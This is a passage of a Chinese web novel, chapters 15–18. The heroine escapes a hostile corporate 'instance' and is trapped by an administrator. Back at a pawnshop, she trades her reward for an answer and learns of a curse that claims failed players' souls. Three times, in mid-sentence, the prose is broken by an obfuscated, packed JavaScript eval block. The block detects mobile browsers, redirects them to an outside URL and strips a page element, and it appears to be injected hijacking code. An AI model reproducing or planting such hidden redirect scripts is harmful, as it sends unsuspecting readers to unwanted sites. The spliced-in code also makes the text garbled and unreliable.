羊皮纸发布的任务一定有迹可循,它之前怂恿自己登上“地铁”,这是否能成为一个突破口? 那列粉红色的蚯蚓状地铁,是连接公司内外的关键,运维系统的记录里,也许会有它存在的蛛丝马迹可供发掘。 容目抬头瞟了一眼赵工,见对方依然埋头于自己的工作,丝毫没注意这边,她稍稍松了口气,开始搜索与“员工通勤”、“特殊交通工具维护”、“地下轨道系统”相关的记录。 同时,她分出一部分精力,利用“真视之瞳”,尝试感受公司内部能量的流动,捕捉那些不寻常的,可能指向“出口”或“边界”的微弱信号,尽管成功率微乎其微,她也要博一把。 她像一只在迷宫中寻找生路的老鼠,必须小心翼翼,避开所有的陷阱与窥视,绕过那些隐藏在黑暗中的猛兽,才能筛选出可能存在的生机。 时间一分一秒地过去,容目的额头渗出了细密的汗珠,异能高速运转带来的负荷让她的双眼因充血而通红刺痛,但她不敢停下。 普通的网络搜索收获甚微,关于地铁的官方记录被清理得异常干净,只剩下一些无关痛痒的通勤时刻表。容目皱皱眉,关掉界面,转而开始搜索运维系统备份和错误日志数据库。 在这里,她发现了一些被刻意掩盖的痕迹。 几条年代久远的错误日志,提到了【地下层级穿梭载具-代号“蚓”-运行轨道偏移】等字眼。 更重要的是,她还发现了一张残缺的、似乎是从某份完整设计图上撕扯下来的扫描件,标明了一条非标准轨道维修线路,这是人工维修通道!终点不是任何已知的站台,而是一个标记为【缓冲区】的区域。 “缓冲区……”容目默念着这个词,心脏狂跳!通过这条路,她可以绕过地铁,直接离开盛德公司区域! 就在她为这个发现精神一振时,电脑屏幕突然闪烁了一下,一个强制弹出的加密对话框覆盖了所有界面: 【发件人:苏曼(行政部)】 【主题:B3数据碎片回收任务异常情况汇报】 【内容:样本稳定性问题已知悉。一小时后,携带样本及回收工具至B2设备检修通道入口,我将亲自进行现场评估与技术支援。勿告知其他人员。收到回复。】 【备注:按时到达。】 冰冷的文字带着不容置疑的压迫感,就像她这个人一样强势。 容目手指舒张又收拢,又活动了一下肩颈,她看着自己在屏幕上隐隐约约的倒影,心脏跳的又快了一些。 她将手放在键盘上,慢慢打出了两个字:【收到。】 15. 第15章 逃亡 【收到。】 这两个字在屏幕上亮起,像是一道催命符。容目的心脏在胸腔里沉重地撞击,一小时,她只有一小时的行动区间。 容目擦掉手心里因为紧张而渗出的汗水,目光飞快扫过办公室。赵工依旧埋头于他的代码世界,对即将发生的风暴毫无所觉。 容目迅速清空了电脑上所有的搜索记录和浏览痕迹,特别是那张她刚刚硬生生背下来的【缓冲区】地图。 接着,她挑着整理了桌面,从旁边抽出几份无关紧要的文件摆放在显眼位置,制造出一种她只是短暂离开、随时会回来的假象。 那个依然空着的金属薄片“回收容器”被她小心地塞进衣服内侧口袋,她轻轻晃了晃衣服,感觉还算稳当。只可惜没有针线,要不然保险起见,她就可以把口袋缝上了。 现在,她要开始逃亡了。容目心脏狂跳,羊皮纸也开始隐隐发热。她站起身,尽量自然地拿起桌角的空水杯,朝门口走去,步伐平稳。 余光里,赵工对她的动向毫不关心,正弯腰在桌下的抽屉里翻找什么工具。 容目心中稍定,轻轻推开办公室的门,走了出去。 门外的走廊寂静无声,容目脚步一拐,径直朝着与B2区相反的方向——通往普通物资仓库和下层通风管道井的区域走去。“真视之瞳”悄然开始运转,帮助她捕捉摄像头的动向。虽然她没有林暖那么强的身手,不可能避过所有摄像头,但是拍到她的摄像头越少,相对来说,她就越安全。 无风无波地走了一会,容目依然端着那个水杯,这样无论谁看到她,她都能有一个缓冲的机会。 容目绕过一个身份验证通道,离开了主走廊。她按照记忆中的建筑结构图,推开了一扇标有“设备间,闲人免进”的侧门。门内是嗡嗡作响的服务器机柜和粗大的线缆桥架,空气里弥漫着热风和汽油的味道。这里是监控的薄弱区域,也是能量流动错综复杂的地方,能一定程度上干扰苏曼可能存在的追踪手段。 她在狭窄的通道间快速穿行,凭借“真视之瞳”对能量的微弱感知,寻找着那张图纸上提到的“非标准轨道维修线路”的入口。 汗水浸湿了后背,容目不断调整着呼吸,压制住狂奔的冲动,在这里,任何异常的举动都可能触发隐藏的警报系统。 在绕过另一组发热严重的旧型号服务器后,她终于在角落的地面上,发现了一个几乎与地板融为一体的、需要特定工具才能开启的重型检修盖。盖子上没有任何标识,边缘积着薄灰,显然已经有一段时间没被人动过了。但容目透过“真视之瞳”,隐约看到了盖子下方透出的、与公司内部能量场迥异的能量波动。 就是这里! 她蹲下身,这个入口不是电子锁,而是纯机械结构,一个嵌入式的拉环,需要很大力气才能打开。容目尝试了一下,除了蹭了一手灰,那盖子纹丝不动。 时间在一分一秒流逝,苏曼可能已经动身前往B2通道,也可能通过某种方式察觉到了她的逃离,她不能再耽误时间了。 容目心头焦急,但以她的力气实在拉不开。她焦虑的目光无意识地划过四周,在角落顿住了——那里立着一根废弃的、一端略显尖锐的金属棍。 她快步冲过去,抄起金属棍,将尖端插入检修盖边缘的缝隙,利用杠杆原理,用尽全身力气向下压。 “嘎吱——”令人牙酸的金属摩擦声持续不断地响起,在密闭的空间里显得格外刺耳。容目急忙顿住动作,心脏一下一下跳得很急,她屏息凝神听了片刻,确认外面没什么动静后,再次发力。 缝隙越来越大,她丢开金属条,用双手扣住边缘,腰部发力,猛地向上一掀! “哐当!”沉重的检修盖被掀起来,砸到了另一边的墙面上,露出下方黑暗、垂直的通道,一股带着铁锈和尘埃的冷风从下方倒灌上来,吹得容目打了个哆嗦。 通道壁上固定着生锈的金属爬梯,向下延伸,渐渐没入黑暗,深不见底。 容目没有丝毫犹豫,将水杯丢在一旁,深吸一口带着霉味的空气,手脚并用地攀上爬梯,迅速向下。在她整个人即将没入黑暗的瞬间,她反手用力,将沉重的检修盖重新拉回原位。 在重力的作用下,检修盖“砰”地一声砸上了,严丝合缝地将外界的所有光线都拒之门外。 光明被彻底隔绝了,四周陷入了一片绝对的黑暗和死寂,只剩下了容目粗重的呼吸声在耳边回荡。她打开了提前准备好的手电筒叼在嘴里,勉强照亮了面前的一小片空间,还有铁灰色的爬梯。 她稍稍加快了速度,金属爬梯冰冷刺骨,有些横杆还隐隐松动了,必须万分小心才不会一脚踏空。又下降了大约几十米,容目的脚终于在一片忐忑不安中触到了实地。 她从已经有些酸疼的嘴里取出了手电筒,向四周照了照。这里是一条狭窄、低矮的维修通道,四周是粗糙的混凝土墙壁,头顶布设着老旧的管道和线缆,空气浑浊,似乎还飘着颗粒状的灰尘。 没有回头路了,容目勉强辨认了一下方向,朝着通道内部快速前进。她不敢奔跑,怕在黑暗中绊倒,或者发出什么更大的动静,只能贴着墙边快步行走。 通道蜿蜒曲折、时上时下,岔路众多。她只能依靠自己异能感受到的微弱能量指引,慢慢摸索出路。遇到被杂物堵住的狭窄的空隙,她有时还需要趴在地上慢慢蹭过去。 这样一来,即使面前没有镜子,容目也知道,她现在身上一定沾着各种灰泥,脏得不像样。更别提身上多处鲜明的痛楚——一定有皮肤被划破了。 她就这样咬牙坚持着,不知走了多久,通道开始呈扇面状渐渐拓宽了,墙壁上开始出现了星星点点的荧光标记。同时,在“真视之瞳”的能力笼罩效果下,那股属于“缓冲区”的陌生能量越来越清晰了。 又过了片刻,荧光标记越来越密集,前方也透出了一点灰蒙蒙的自然光。 容目再也顾得不得压制自己的脚步声音,以自己的最快速度冲向了那点光芒! 出口是一个半圆形拱门,它静静地立在那,敞开着怀抱,等待容目投入背后的自由世界。 透过拱门,可以隐约看到外面是一片望不到边际的、灰蒙蒙的空旷地带,没有建筑,没有标识,只有虚无和寂静。 容目最后回头望了一眼身后漆黑、压抑的通道,毫不犹豫地一步迈进了拱门。 仿佛穿过了一层冰冷的水幕,在黑暗中行进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039428|194673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了很久,终于见到光芒的时候,容目几乎要感动得落下泪来。 公司内部那种特有的、无处不在的“被规训”的感觉消失了,取而代之的是一种茫然的、无依无靠的自由。 平复了一下情绪,容目取出羊皮纸,借着灰白色的光线,再一次看清了上面的字迹: 【鲜活的“恐惧”,目前收集进度98%】 容目茫然地放下手,她正站在一片灰白色的、如同岩石般的地面上,前后左右都是无尽的灰蒙,分不清方向。下一步该去哪里?剩下的2%恐惧值又该去哪收集? 就在她因为羊皮纸上的进度微微愣神的刹那,一个冰冷而熟悉的声音自身后不远处响起,带着一丝若有若无的叹息: “容目,我给你的指示,是B2设备检修通道。” 容目浑身一僵,猛地回头。 只见在她刚刚冲出来的那个半圆形拱门旁,不知何时开启了一道更为规整,泛着金属光泽的暗门。苏曼就站在那里,身着一丝不苟的行政套装,脸上没有任何表情,眼神也平静得令人心寒。她身上纤尘不染,与容目浑身的灰泥脏污一对比,就像是一出荒诞的戏剧。 她早就等在了另一条路上! “维修通道的图纸……是你故意让我找到的?”容目瞬间明悟,心底一片冰凉。所谓的“生路”,根本就是苏曼为她设下的陷阱,是为了测试她的忠诚,或者,是为了将她驱赶到这个更方便“处理”的荒芜之地。 苏曼没回答她的问题,只是冷漠地开口了:“现在将碎片交给我,或许你还能以‘因公殉职’的名义,留下一个相对体面的结局。” 她向前迈了一步,明明步伐不大,却带着一股无形的压迫感,让容目几乎喘不过气。 没什么比给人以希望,却又亲手破坏掉这份希望更残酷的事了。苏曼有些愉悦地勾起了唇角。 容目下意识地后退,心脏疯狂跳动,几乎要挣脱胸膛,绝望如冰冷的潮水般涌上。她知道,如果自己对上苏曼,没有任何胜算,虽然不知道苏曼身手如何,但是她手中一定带着能置自己于死地的东西。 苏曼的耐心在容目一声不出的时候渐渐耗尽了,她有些无奈地叹了口气,从随身的手包里,取出了一把精致的银色手枪。 “其实我不打算这么做的。”苏曼的叹息轻飘飘的。那把银色的手枪小巧得近乎优雅,在她手中稳如磐石,黑洞洞的枪口精准地指向容目的眉心。 容目死死盯着那冰冷的枪口,大脑一片空白,身体因为极致的恐惧而微微颤抖。死亡的阴影从未如此清晰、如此贴近。她不想死,她好不容易才逃到这里……说到底,进入副本前,容目只不过是一个小小的公司职员,她没办法对死亡熟视无睹。 就在这思维凝滞的瞬间,这段时间以来不断的逃亡、无穷无尽的疲惫和恐惧、如影随形的死亡威胁一瞬间全部涌上了容目的心头。 这恐惧如此强烈,如此纯粹,瞬间冲垮了她所有的心理防线。 【鲜活的“恐惧”,目前收集进度100%】 羊皮纸上的字迹在她混乱的感知中灼烧! 【收集完成】 下一刻,无尽的黑暗与失重感彻底吞噬了她。 16. 第16章 选择 “容目,醒醒……” 那声音像是隔着一层厚厚的毛玻璃,模糊而遥远,几乎分辨不出音节,却带着一种坚持和隐隐的焦急,执拗地钻进容目混沌的意识深处。 容目的眼皮沉重地如同坠了铅块,挣扎了几下,才勉强掀开一条缝隙。模糊的视野里,是一片熟悉的、带着岁月沉淀感的暗色调木制天花板,空气中弥漫着淡淡的旧书和灰尘气息。 是典当行。 她回来了。 “你睡了很久,还好人没事。”那个声音再次响起,清晰了许多,带着一丝不易察觉的关切。 容目活动了一下有些僵硬的脖颈,慢慢偏过头,看到林暖正倚在那个沉重的红木柜台旁,手中把玩着一枚古朴的铜钱,目光平静地落在她身上。 林暖的脸色似乎比之前更苍白一些,眼神深处带着一丝倦怠,但周身的气息依旧稳定,仿佛她只是出门进行了一次长跑,而非经历了一场惊心动魄的冒险。 “林暖……”容目的声音干涩沙哑,喉咙像是被砂纸磨过一样疼,“你也……回来了?” “嗯。”林暖轻轻应了一声,放下了手中的铜钱,不知道从哪掏出一瓶水递过来,“比你早一点,感觉怎么样?” 容目在她的帮助下勉强撑起身子,接过水瓶。清凉的水滑过喉咙,稍稍缓解了不适。她环顾四周,典当行里一切如旧,只是那盏导致她们卷入中立区隐藏规则的煤油灯不知道什么时候熄灭了,现在照明的变成了林暖腰间挂着的手电筒。 四周一片静谧,仿佛她刚刚经历的那场生死逃亡只是一场过于逼真的噩梦。 但身体各处传来的细微痛楚,以及精神上的疲惫与惊悸,都在提醒她,那一切都是真实发生过的。 容目的思绪渐渐回笼,她对林暖勉强笑了笑,点点头示意自己还可以,复杂的情绪却慢慢爬上了她的心脏。两个人都安全回来了,这令她暗自松了口气,但这同时意味着另一件事——两个人中只有一人能兑换“生路”,她该怎么办? 两人之间回归了沉默,但越是沉默,容目心里就越慌,她感觉自己亏欠着林暖很多东西,却又不知道该怎么弥补。 这份亏空让她绞尽脑汁,拼命想说点什么,才能堵住自己心里越裂越大的空洞。 “我……”她张了张嘴,声音依旧有些沙哑,带着仓促和慌乱的味道,“我被送到了一个叫‘盛德公司’的地方,被困在那里了。”她省略了自己与其他人的互动细节,又简略地复述了一遍自己逃亡的经历。 怀中的羊皮纸早已不再发烫,凉凉地贴在衣服上,与之前并无半分不同,但容目却不可遏制地想起了恐惧收集完成后,羊皮纸强行带她脱离中立区内世界时那种混乱又黑暗的失重感。 林暖安静地听着,没有打断,直到容目说完,她才缓缓开口,语气没有什么波澜:“我那边,是一个废弃的角斗场。规则很简单,活下去,或者被同化成场景的一部分。”她撩起袖口,露出手臂上一道已经结痂的浅淡伤痕,“能量消耗很大,不过,好在最后找到了‘路标’。” 她的话语很简短,但容目能想象到那背后的凶险。林暖总是这样,将惊心动魄的事轻描淡写地说出来,好像它不值一提。 容目鼻中一酸,几乎要落下泪来,她急忙低头掩饰自己的情绪,不愿让林暖发现端倪。 林暖叙述的语气越是平淡,容目心中那份沉甸甸的愧疚感就越是压得她喘不过气。她几乎不敢去看林暖的眼睛,手指无意识地紧紧绞着衣角。 她该怎么办? “兑换物收集成功了吧?”林暖的声音再次响起,打破了令人窒息的沉默,她的目光平静地落在容目身上,平平常常的语气,好像她只是在进行一场寻常的谈话。 容目沉重地点了点头,心脏一阵阵抽痛。来了,终究是躲不过的。她想起了之前自己撒的谎,她曾经对林暖说过的“两条路”,此刻像一根尖锐的刺,扎在她的良心上。 她感觉怀中的羊皮纸似乎又微微发烫,灼烧着她的皮肤,也灼烧着她的理智。自私的念头在疯狂叫嚣:兑换生路活下去吧!林暖那么强,肯定有什么脱身的手段!不需要你为她操心! 但另一个声音,微弱却坚定地一遍遍在心底回荡:你不能再这样下去了,这样得来的生路真的值得吗? 林暖没产生任何怀疑的神色,她只是抽出了自己的羊皮纸,等待着容目的动作。 典当行内的空气仿佛凝固了,容目能清晰地听到自己擂鼓般的心跳声。她深吸一口气,终于将手伸进口袋,握住了那张决定命运的羊皮纸。 她看见林暖鼓励似的对她一笑,随即扬起声音,对着典当行内部的幽暗大声喊道:“我们要进行兑换。” 黑暗在她们紧张的注视下依然寂静无声,并未出现任何变化。容目的心瞬间跌落谷底,如果是她们努力错了方向……她不敢去想最坏的可能。 不过好在,在她们两个不懈的、一声又一声的呼唤中,中立区终于做出了回应。 一道懒洋洋的、还带着浓浓睡意的男声蓦然从红木柜台后响起:“唉呀,这一声一声的叫魂呢!”林暖手中的手电光迅速朝柜台上扫去,但两人却只看到了空空的台面,后面连个人影都没有。 在容目见鬼一样的表情中,那人又开口了,这次听着很不高兴的样子:“干嘛这么看着我,难道我长得很丑吗?” 柜台后还是没人。 双方都沉默了几秒,那人才终于悠悠开口了,“哦对了,我忘记了,你们现在确实看不见我。” 随着一声微不可闻的“咔哒”声,林暖的电筒光突然闪了一下,两人眼前顿时一明一暗地晃了一下。等电筒再次稳定地亮起来时,柜台后已经坐了一个人。 那人看着很年轻,不过二十多岁,穿着一身略显陈旧的靛蓝色长衫,头发松松地在脑后束起,几缕碎发垂在额前。他单手支着下巴,另一只手有一下没一下地敲着桌面,脸上带着点刚被吵醒的不耐烦,眼神却清亮得很,慢悠悠地在容目和林暖身上转了一圈。 这一次,他似乎看见了令他满意的反应,勾起嘴角笑了一下:“我就说嘛,我长得还是挺帅的,你们俩怎么会是刚才那种反应。” 他也没等着两人回应,打了个哈欠,目光落在了她们各 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039429|194673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自手中的羊皮纸上,“大半夜的吵人清梦。行了,东西拿来,想换什么?” 容目的心怦怦狂跳,她紧紧攥着羊皮纸,指节泛白。林暖则上前一步,将自己的羊皮纸放在了柜台上,语气平静:“我兑换‘一条安全路径’。” 那男人挑了挑眉,也没见他怎么动作,林暖的那张羊皮纸就无声无息地化作了点点微光,凝聚成一道散发着稳定、安宁气息的淡金色路引,轻飘飘地落在林暖手中。 “喏,拿好。”男人懒洋洋地说,随即抬起眉毛,看向容目,“你呢?” 容目的嘴唇动了动,那个“生路”的选项在舌尖滚了滚,几乎要脱口而出。她见林暖已经拿到了路引,心中的那块大石仿佛落下了一半,但另一半却悬得更高了——为自己即将做出的选择。 林暖也跟着看向她,眼神里是纯粹的鼓励和等待,没有丝毫怀疑。 就是现在,不能再犹豫了。 容目将羊皮纸按在柜台上,声音因紧张而有些变调,但她依然坚定地说完了那句话:“我选择兑换‘一个问题的答案’。” 话音落下的瞬间,她清晰地看到林暖脸上惯有的平静被打破了。林暖微微瞪大了眼睛,目光迅速从自己手中的淡金色路引移到了容目脸上,眼中充满了错愕和难以置信。 她显然立刻就明白了,容目之前说的“两条路”是谎言,而容目,在最后一刻放弃了这条确定的生路。 柜台后的男人似乎也来了点兴致,他稍稍坐直了身子,手指在容目的羊皮纸上一点,“我还以为你也会选择‘生路’呢,我连接下来怎么说都想好了。” “你想怎么说?”容目在说完自己的选择之后,反而冷静了下来,此刻甚至还有心思回应中立区这个男人的话。 她不能接受林暖因自己的谎言而死,如今这个结局也算是不错。 男人心情很好地笑了笑,声音里却听不出遗憾:“这就不能告诉你了,不过既然你们并没有选择同样的兑换物,那我之前做的一系列准备也就泡汤了,缺失了不少乐趣呢。” “行了。”他对林暖摆了摆手,“你带着路引,从侧边这道门出去就行了,没有东西会拦着你。” 林暖握着淡金色的路引,看着容目苍白的侧脸,眼中的惊愕渐渐化为一种深沉的、复杂的凝视。她张了张嘴,似乎想说什么,但最终却只是将那道路引紧紧握在了手心。 最终,林暖迈步向男人指出的侧门走去,经过容目身边时,她抬起手,轻轻拍了拍容目的肩膀,然后往她的手心里塞了一个什么东西。 “保重。”林暖的声音轻轻飘过耳畔,又渐渐远去。 随着“吱呀”一声门响,一切重归寂静。 容目摩挲着刚刚林暖塞给自己的一枚铜钱,她记得,这是自己刚刚醒来的时候,林暖手中把玩的东西。 为什么突然给她这个? “咳。”身后一声咳让容目瞬间回过神来,她迅速转身,看向那个不知道什么时候站起来的男人。 男人调侃地笑了笑:“人都走了,就别目送了。” “接下来,你该提出问题了。” 17. 第17章 问题与答案 容目的指尖摩挲着那枚尚带余温的铜钱,坚硬的触感让她纷乱的心绪稍稍沉淀下来。她轻轻吐出一口气,现在,她要直面自己的选择了。 她抬起头,迎上那双清亮的眼睛。羊皮纸在柜台上散发着微光,等待着她的问题。 她缓缓开口,声音不高,却异常清晰,每个字都带着生死边缘挣扎过的重量: “我想知道,在我之前,有多少失败者成功离开了中立区,而他们,最终又去了哪里?” 这个问题是她找到的一把钥匙,那些同样被卷入、同样挣扎求生、同样可能兑换了“答案”而非“生路”的个体,他们的踪迹与结局,构成了容目此刻处境中最关键的写照。 柜台后的男人收起了那副懒洋洋的神态,他身体微微前倾,手指轻轻点在羊皮纸上。纸面上的微光开始剧烈波动,如同石子投入水面,光芒流转间,似乎有无数模糊的影像和碎片化的信息在其中飞速闪动、交织。那光芒映在容目苍白的脸上,明明灭灭。 容目的问题在寂静中回荡。 “在你之前。”男人眼中闪过一丝锐利的光,声音缓慢而低沉,“有十七个个体成功从中立区的核心规则中挣脱。” 随着他的话音,羊皮纸上的光芒凝成了一行冰冷的数字:17。 “但‘成功离开’是个微妙的说法。”男人的指尖划过纸面,数字消散,取而代之的是几幅快速闪过的画面——一个身影消失在茫茫雪原,一个融化在都市霓虹中,一个沉入了深海般的黑暗。 “他们确实没有获得‘生路’,而是选择了‘答案’。他们也确实离开了中立区。”男人慢慢地说,突然对着容目微笑了一下,问了一个风马牛不相及的问题,“这是你的第一个副本,也是你进入的的第一个中立区吧?” 容目不明白他的话题怎么跳的这么快,但还是给出了肯定的答复。 男人得到了答案,有些羡慕地吐了口气:“真是了不起,在第一个E级副本就获得了异能。” 顿了一下,男人抬起头看着容目,微笑了一下:“自我介绍一下,我叫陈安平。” “容目。”虽然不知道对方想干嘛,但看起来没有恶意,容目下意识地也跟着报上了自己的名字。 陈安平点了点头,坐在柜台后的椅子上,又恢复了那一副懒懒散散的样子,“中立区的级别不会超过副本本身的级别,我想刚才离开的那位还没来得及告诉你。” 容目沉默着,听他继续往下说。 “所以这里的也不过是一个E级副本,而E级副本……”陈安平顿了顿,“是不会死人的。” 容目豁然抬头,心中一瞬间燃起了希望的火花,她不由重复了一遍对方的话,“不会死人?” “是。”不知道为什么,陈安平却苦笑了一下,“E级副本确实不会致命,即便任务失败,最多也就是扣除积分,不会有生命危险。这个中立区虽然特殊一些,有成长潜力,但依然受到副本级别的限制。” 他站起身,从柜台后绕了出来,靛蓝色的长衫下摆轻轻晃动,“七年前,我和所有人一样,都以为这不过是一个普通的E级中立区。” 他转过身,正视着容目因惊讶而瞪大的双眼,“但是,”他又苦笑了一下,“有成长潜力的中立区,自然有其特殊之处。” “你……”容目一时有些找不出合适的措辞,“你曾经也是玩家?” “是啊。”陈安平试图微笑,但表情却比哭还难看,“我曾经也是玩家。” 二人之间陷入了一片忧伤的沉默。容目不知道她此时能说点什么,一切语言在这种时刻好像都显得过于苍白无力。她只能静静站在原地,等待陈安平自己消化掉这沉重的情绪。 半晌,陈安平背过身,似乎擦拭了一下眼角,再转过来时,他已经平静了许多。 陈安平略带歉意地微笑了一下:“抱歉,一时没控制住情绪,让你见笑了。” 不待容目回应,他的面色又凝重了下来,“刚才有点跑题了。我想说的是,现在我们身处的这个中立区,在成长潜力的催化下,发展出了自己的一个特性。” 陈安平的声音突然变得轻了一点,但依然不妨碍容目听得清清楚楚,“它的特性是一个诅咒。” “诅咒?”容目做梦也没想到,自己会听见这么一个魔幻的、只会出现在西方童话中的词语,这种荒谬感甚至将她独自留在中立区的不安都冲淡了些许。 “对。”陈安平点头,表情自然,“或者也可以说,是一种标记。” “每个进入这里的玩家,都会受到中立区的标记,胜者的标记会自动脱落,而败者……”他顿了顿,才接着说下去:“作为惩罚,败者的标记会一直停留在身上,直至生命终结。” 听到这,容目皱起了眉头,“所以,这个标记,或者说诅咒本身有什么功能吗?它会侵蚀我的力量?还是会影响我的运气?” 没想到陈安平听了这话却摇了摇头,给出了一个令她惊讶的答案:“不,这个诅咒在你活着的时候没有用处。” “什么意思?”容目这下是真有点迷惑了,活着的时候没有用处,难道自己死了,这个诅咒才能生效?那还有什么意义? “这个诅咒确实要等你死后才能生效。”陈安平轻声说道,“诅咒相当于是中立区延伸出去、能够追踪失败者的触角。” “它不会影响你,你甚至不会感觉到它的存在,它会伴随着你成长、冒险,直到生命的终结。但是当你死后,诅咒就会回收你的灵魂,把你囚禁在这里,周而复始地维持着中立区的运转,直至变成中立区的养料。” 他指向羊皮纸上闪烁的画面:“你看这些‘失败者’,他们确实离开了中立区,度过了完整的一生。但死后,他们的灵魂都被拉了回来,成为了这个中立区运转的养料。” 容目感到一阵寒意从脊背窜起。在那些不断变幻的画面中,她看见了两张熟悉的面孔。 “这是……”她的声音都有点颤抖起来,不得不顿了顿,才能继续往下说,“这是苏曼?还有赵工?” 陈安平扫了一眼画面,“哦,你认识他们?原来是他们负责你的部分。” 容目回不过神来,不知道该作何反应,只能盯着羊皮纸上的画面一帧一帧地跳跃着。这些画面并不连贯,只是将无数类似记忆碎片状的东西拼凑在一起,毫无章法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039430|194673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地播放下去。 容目不知道她现在该说什么,该做什么,她只知道,这张羊皮纸里,以后也会装着她的人生,也许还会夹杂在所有画面中,播放给后来的失败者们。 明明按理来说,死后的事情对她来说并不重要了,但不知道为什么,她打了个寒战。 “苏曼和赵工,也曾经是参与者?”沉默片刻,容目轻声问道。 “是,他们失败了,于是在死后也被留在了这里。”陈安平面带怅然,手指还没有离开羊皮纸,轻轻点在上面。 陈安平的手在羊皮纸上轻轻滑动,苏曼和赵工的影像随之放大。画面中的苏曼远比容目见到的更加年轻青涩,正惊恐地躲在某个角落;而赵工则顶着一头乱发,专注地对着空气敲打键盘。 “他们都是二十年前的参与者了。”陈安平的声音带着岁月的沉重,“苏曼现在成了中立区规则的守护者,曾经的喜怒哀乐全被洗掉了,只剩下一具供中立区驱使的躯壳。赵工则沉迷于破解各种系统,不问世事,不参与中立区运行,被困在了自己创建的代码迷宫里。” 容目注视着画面中年轻而惊恐的苏曼,又想起了她在中立区中高傲而强悍的模样,微微苦笑了一下。怪不得,怪不得苏曼用离开中立区做筹码,怪不得苏曼对一切都了如指掌,还知道自己的秘密。 原来,她已经成为了规则的一部分啊。 “所以我现在……”半晌,容目低头看着自己的双手,“本质上和他们已经没有不同了?” “恐怕是的。”陈安平面色复杂,“你现在能做的也许只有不断变强,不断提高自己的生存几率。”顿了顿,他继续说,“这样,至少可以无限延后你回到这里的时间。” 羊皮纸发出了细微的嗡鸣声,它慢慢飘起来,开始缓缓融入容目的手心。 一阵灼烧般的痛楚短暂地在容目手心一跳,随即消失无踪,只剩下了一个淡淡的圆形印记,里面似乎刻着繁复的图纹。 几秒钟后,连那个图纹也渐渐消失了,仿佛融入了容目的皮肤之下。 “感觉像什么都没有一样吧。”陈安平不知道什么时候又站回了柜台后,望着她微笑了一下。 容目茫茫然地点了点头,看着陈安平向后伸手一拉——空气微微波动了一下,原本什么也没有的墙壁像是一道幕帘般,被他“拉”开了,露出了后面昏蒙蒙的一条通道。 “我能做到的只有这么多了。”陈安平的声音里带着复杂的情绪,“所有有关这个中立区的信息我已经都告诉你了,希望你能在副本中多撑一段时间,晚一点回来。” 他抬起手,做了一个“请”的姿势,“走过这条通道,后面就是副本,你该离开了。” 容目迟疑了一下,迈步上前。在与陈安平擦肩而过的瞬间,她衣兜里的铜钱突然散发出了灼热的温度。与此同时,她听见了对方极轻的声音:“你同伴给你的东西很不错啊。” 容目有心想问,但来不及了,她已经踏进了那条通道。在通道闭合的前一瞬间,陈安平的最后一句话悄悄追了上来,门关上了,但那句话还在她脑海中回荡: “祝你一路平安,你我再也不见。” 18. 第18章 独行 再次看见天光的时候,容目感动得几乎要落下泪来。 虽然在选择“答案”的时候,她已经做好了代替林暖赴死的准备,但是……但是她终究还是畏惧死亡。 身上多了一个诅咒,但她终究还是活下来了,这才是最重要的事。 容目眯起眼睛,适应着久违的自然光线。她依然站在那条林暖带着她找到的辅路上,背后就是典当行蒙着灰尘的大门。 四周是倒塌的广告牌和废弃的车辆,空气中弥漫着若有若无的腐臭味,远处传来几声模糊的嘶吼,提醒她这里仍是危机四伏的丧尸副本。 她环顾四周,心里怀着自己也说不明白的期待,静静等了一会,什么也没发生。容目扯了扯嘴角,露出一个略带苦涩的微笑——也是,她欺骗了林暖,虽然最后悔过自新了,但是对方也不见得会愿意再次相信自己,她离开了也许对两人都好,至少避免了尴尬。 容目这么安慰着自己,又低头看了看手心。那个印记早就无影无踪了,但陈安平的那句话突然涌上了心头。她取出了林暖离开之前递给她的那枚铜钱紧紧攥在手中,冰凉的触感让她保持清醒。 “你同伴给你的东西很不错啊。” 容目举起铜钱对着阳光仔细端详。这枚古铜钱看起来平平无奇,边缘还有些磨损,中央的方孔周围刻着模糊的字迹。但在真视之瞳的注视下,她能看到铜钱表面流动着一层金色的光晕,里面还夹杂着丝丝黑气。 端详了一会,又用手将铜钱上下左右摸了好几遍以后,容目还是没看出所以然来。她只好将铜钱放在贴身的衣兜里,等以后再慢慢研究了。 收好铜钱以后,容目突然生出了一种茫然之感,她不知道自己接下来该去哪,唯一有经验的林暖也离开了,现在这座曾经的巨大都市里,这条曾经异常繁华的商业街上空无一人,只剩下她和远方时不时响起的怪物嚎叫。 林暖曾经说过,这个副本的主线任务是存活三天,而在进入副本之前她已经度过了将近一天,即使算上中立区内部的时间流速与外界不同,外界时间就算一点都没有变化……那副本在两天后也应该会结束了。 